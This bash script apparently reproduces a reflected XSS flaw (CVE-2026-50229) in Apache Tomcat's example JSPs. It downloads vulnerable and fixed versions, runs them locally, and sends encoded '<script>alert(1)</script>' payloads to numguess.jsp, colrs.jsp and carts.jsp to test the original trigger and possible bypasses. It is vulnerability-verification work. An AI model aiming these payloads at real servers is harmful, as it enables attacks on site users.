#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VAR_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS"
mkdir -p "$VAR_DIR"

cd "$ROOT"

CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/tomcat"
fi
mkdir -p "$CACHE_DIR"

VULN_VERSION="10.1.55"
FIXED_VERSION="10.1.56"
VULN_TOMCAT="apache-tomcat-${VULN_VERSION}"
FIXED_TOMCAT="apache-tomcat-${FIXED_VERSION}"
VULN_URL="https://archive.apache.org/dist/tomcat/tomcat-10/v${VULN_VERSION}/bin/${VULN_TOMCAT}.tar.gz"
FIXED_URL="https://archive.apache.org/dist/tomcat/tomcat-10/v${FIXED_VERSION}/bin/${FIXED_TOMCAT}.tar.gz"
PORT=18080

log() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGS/vuln_variant.log"; }

# Install Java if missing
if ! command -v java >/dev/null 2>&1; then
  log "Installing default-jdk..."
  sudo DEBIAN_FRONTEND=noninteractive apt-get update -qq >/dev/null 2>&1
  sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq default-jdk >/dev/null 2>&1
fi
JAVA_HOME=$(dirname "$(dirname "$(readlink -f "$(command -v java)")")")
export JAVA_HOME
log "Java version: $(java -version 2>&1 | head -1)"

# Download and extract Tomcat versions
fetch() {
  local version="$1" url="$2" dir="$3"
  if [ ! -d "$dir" ]; then
    local tar="$CACHE_DIR/${dir}.tar.gz"
    if [ ! -f "$tar" ]; then
      log "Downloading Tomcat $version from $url"
      curl -fsSL -o "$tar" "$url" 2>&1 | tail -5
    fi
    log "Extracting Tomcat $version"
    tar -xzf "$tar" -C "$CACHE_DIR"
  fi
}
fetch "$VULN_VERSION" "$VULN_URL" "$VULN_TOMCAT"
fetch "$FIXED_VERSION" "$FIXED_URL" "$FIXED_TOMCAT"

# Configure a unique port for this run to avoid collisions
configure_port() {
  local base="$1"
  sed -i "s/port=\"8080\"/port=\"$PORT\"/" "$base/conf/server.xml"
  sed -i "s/port=\"8005\"/port=\"$((PORT+1))\"/" "$base/conf/server.xml"
  sed -i "s/port=\"8009\"/port=\"$((PORT+2))\"/" "$base/conf/server.xml"
}
configure_port "$CACHE_DIR/$VULN_TOMCAT"
configure_port "$CACHE_DIR/$FIXED_TOMCAT"

stop_tomcat() {
  local base="$1"
  if [ -f "$base/bin/catalina.pid" ]; then
    local pid
    pid=$(cat "$base/bin/catalina.pid" 2>/dev/null || true)
    if [ -n "$pid" ]; then
      kill "$pid" 2>/dev/null || true
      sleep 2
      kill -9 "$pid" 2>/dev/null || true
    fi
  fi
  pkill -f "catalina.base=$base" 2>/dev/null || true
  sleep 1
}

stop_all_tomcats() {
  stop_tomcat "$CACHE_DIR/$VULN_TOMCAT"
  stop_tomcat "$CACHE_DIR/$FIXED_TOMCAT"
  # Give the OS a moment to release the ports
  sleep 2
}

wait_for_tomcat() {
  local url="$1" tries=40
  while [ "$tries" -gt 0 ]; do
    if curl -fsS "$url" >/dev/null 2>&1; then
      return 0
    fi
    sleep 2
    tries=$((tries-1))
  done
  return 1
}

# Test the original CVE trigger on the given version
# Sets global variable RC to "vulnerable" or "not_vulnerable"
numguess_xss_check() {
  local label="$1" base="$2"
  log "===== $label: numguess.jsp original XSS check ====="
  stop_all_tomcats
  rm -rf "$base/work" "$base/logs"/* "$base/temp"/*
  log "Starting $label on port $PORT"
  "$base/bin/startup.sh" >> "$LOGS/variant_${label}_numguess_startup.log" 2>&1
  if ! wait_for_tomcat "http://localhost:$PORT/"; then
    log "ERROR: $label failed to start"
    cat "$base/logs/catalina.out" >> "$LOGS/variant_${label}_numguess_startup.log" 2>/dev/null || true
    RC="not_vulnerable"
    return
  fi
  log "$label is healthy"

  local cookie_jar="$VAR_DIR/${label}_numguess_cookies.txt"
  local resp2="$VAR_DIR/${label}_numguess_resp2.html"
  rm -f "$cookie_jar"

  curl -sS -c "$cookie_jar" -b "$cookie_jar" \
    "http://localhost:$PORT/examples/jsp/num/numguess.jsp?guess=abc" \
    -o /dev/null 2>>"$LOGS/variant_${label}_numguess_curl.log"
  curl -sS -c "$cookie_jar" -b "$cookie_jar" \
    "http://localhost:$PORT/examples/jsp/num/numguess.jsp?hint=%3Cscript%3Ealert(1)%3C%2Fscript%3E" \
    -o "$resp2" 2>>"$LOGS/variant_${label}_numguess_curl.log"

  if grep -q '<script>alert(1)</script>' "$resp2"; then
    log "$label: numguess.jsp unescaped XSS payload found"
    RC="vulnerable"
  else
    log "$label: numguess.jsp XSS payload NOT found"
    RC="not_vulnerable"
  fi

  stop_tomcat "$base"
}

# Test the colrs.jsp wildcard-binding candidate
# Sets global variable RC to "vulnerable" or "not_vulnerable"
colors_xss_check() {
  local label="$1" base="$2"
  log "===== $label: colrs.jsp wildcard-binding candidate check ====="
  stop_all_tomcats
  rm -rf "$base/work" "$base/logs"/* "$base/temp"/*
  log "Starting $label on port $PORT"
  "$base/bin/startup.sh" >> "$LOGS/variant_${label}_colors_startup.log" 2>&1
  if ! wait_for_tomcat "http://localhost:$PORT/"; then
    log "ERROR: $label failed to start"
    RC="not_vulnerable"
    return
  fi

  local cookie_jar="$VAR_DIR/${label}_colors_cookies.txt"
  local resp1="$VAR_DIR/${label}_colors_resp1.html"
  rm -f "$cookie_jar"

  # color1 is stored but not rendered unless it matches 'black'/'cyan';
  # the JSP renders getColor1()/getColor2() which are constrained by the bean.
  curl -sS -c "$cookie_jar" -b "$cookie_jar" \
    "http://localhost:$PORT/examples/jsp/colors/colrs.jsp?color1=black%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&color2=cyan" \
    -o "$resp1" 2>>"$LOGS/variant_${label}_colors_curl.log"

  if grep -q '<script>alert(1)</script>' "$resp1"; then
    log "$label: colrs.jsp rendered unescaped XSS payload"
    RC="vulnerable"
  else
    log "$label: colrs.jsp did NOT render unescaped XSS payload"
    RC="not_vulnerable"
  fi

  stop_tomcat "$base"
}

# Test the carts.jsp wildcard-binding candidate
# Sets global variable RC to "vulnerable" or "not_vulnerable"
carts_xss_check() {
  local label="$1" base="$2"
  log "===== $label: carts.jsp wildcard-binding candidate check ====="
  stop_all_tomcats
  rm -rf "$base/work" "$base/logs"/* "$base/temp"/*
  log "Starting $label on port $PORT"
  "$base/bin/startup.sh" >> "$LOGS/variant_${label}_carts_startup.log" 2>&1
  if ! wait_for_tomcat "http://localhost:$PORT/"; then
    log "ERROR: $label failed to start"
    RC="not_vulnerable"
    return
  fi

  local cookie_jar="$VAR_DIR/${label}_carts_cookies.txt"
  local resp1="$VAR_DIR/${label}_carts_resp1.html"
  rm -f "$cookie_jar"

  # submit and itemId are bound via wildcard, but only itemId is rendered and
  # it is passed through HTMLFilter.filter. submit is not reflected at all.
  curl -sS -c "$cookie_jar" -b "$cookie_jar" \
    "http://localhost:$PORT/examples/jsp/sessions/carts.jsp?itemId=0&submit=%3Cscript%3Ealert(1)%3C%2Fscript%3E" \
    -o "$resp1" 2>>"$LOGS/variant_${label}_carts_curl.log"

  if grep -q '<script>alert(1)</script>' "$resp1"; then
    log "$label: carts.jsp rendered unescaped XSS payload"
    RC="vulnerable"
  else
    log "$label: carts.jsp did NOT render unescaped XSS payload"
    RC="not_vulnerable"
  fi

  stop_tomcat "$base"
}

# Run the original CVE trigger on vulnerable and fixed versions
VULN_BASE="$CACHE_DIR/$VULN_TOMCAT"
FIXED_BASE="$CACHE_DIR/$FIXED_TOMCAT"

log "Testing original CVE-2026-50229 trigger on vulnerable $VULN_VERSION"
numguess_xss_check "vulnerable" "$VULN_BASE"
VULN_ORIGINAL="$RC"
log "Original trigger on vulnerable: $VULN_ORIGINAL"

log "Testing original CVE-2026-50229 trigger on fixed $FIXED_VERSION"
numguess_xss_check "fixed" "$FIXED_BASE"
FIXED_ORIGINAL="$RC"
log "Original trigger on fixed: $FIXED_ORIGINAL"

# Run candidate variant checks on the fixed version
log "Testing candidate variant JSPs on fixed $FIXED_VERSION"
colors_xss_check "fixed" "$FIXED_BASE"
FIXED_COLORS="$RC"
log "colrs.jsp candidate on fixed: $FIXED_COLORS"

carts_xss_check "fixed" "$FIXED_BASE"
FIXED_CARTS="$RC"
log "carts.jsp candidate on fixed: $FIXED_CARTS"

stop_all_tomcats

log "===== Results summary ====="
log "Vulnerable $VULN_VERSION numguess.jsp: $VULN_ORIGINAL"
log "Fixed $FIXED_VERSION numguess.jsp: $FIXED_ORIGINAL"
log "Fixed $FIXED_VERSION colrs.jsp candidate: $FIXED_COLORS"
log "Fixed $FIXED_VERSION carts.jsp candidate: $FIXED_CARTS"

if [ "$VULN_ORIGINAL" = "vulnerable" ] && [ "$FIXED_ORIGINAL" = "not_vulnerable" ] && [ "$FIXED_COLORS" = "not_vulnerable" ] && [ "$FIXED_CARTS" = "not_vulnerable" ]; then
  log "CONCLUSION: original CVE is fixed; no bypass/variant found in the tested candidate JSPs."
  exit 1
fi

# A true bypass means the fixed version is still vulnerable somewhere
if [ "$FIXED_ORIGINAL" = "vulnerable" ] || [ "$FIXED_COLORS" = "vulnerable" ] || [ "$FIXED_CARTS" = "vulnerable" ]; then
  log "CONCLUSION: bypass/variant reproduced on fixed $FIXED_VERSION."
  exit 0
fi

log "CONCLUSION: inconclusive results."
exit 1
